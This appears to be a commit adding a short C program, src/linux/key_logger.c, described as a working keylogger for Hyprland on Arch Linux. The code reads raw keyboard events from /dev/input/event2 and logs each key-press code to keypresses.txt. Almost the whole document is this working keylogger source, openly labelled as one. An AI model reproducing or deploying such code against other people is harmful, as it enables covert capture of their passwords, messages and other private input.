A seemingly working keylogger for hyprland on arch

Author: AustinATTS

src/linux/key_logger.c

@@ -0,0 +1,35 @@
+#include <linux/input.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+int main ( ) {
+    int fd = open("/dev/input/event2", O_RDONLY);
+    if (fd < 0) {
+        perror("open event device");
+        return 1;
+    }
+
+    FILE * log = fopen("keypresses.txt", "w");
+    if (! log) {
+        perror("fopen");
+        return 1;
+    }
+
+    struct input_event ev;
+
+    while (1) {
+        ssize_t n = read(fd, &ev, sizeof(ev));
+        if (n != sizeof(ev)) continue;
+
+        if (ev.type == EV_KEY && ev.value == 1) {
+            fprintf(log, "KEYCODE %d\n", ev.code);
+            fflush(log);
+        }
+    }
+
+    close(fd);
+    fclose(log);
+    return 0;
+}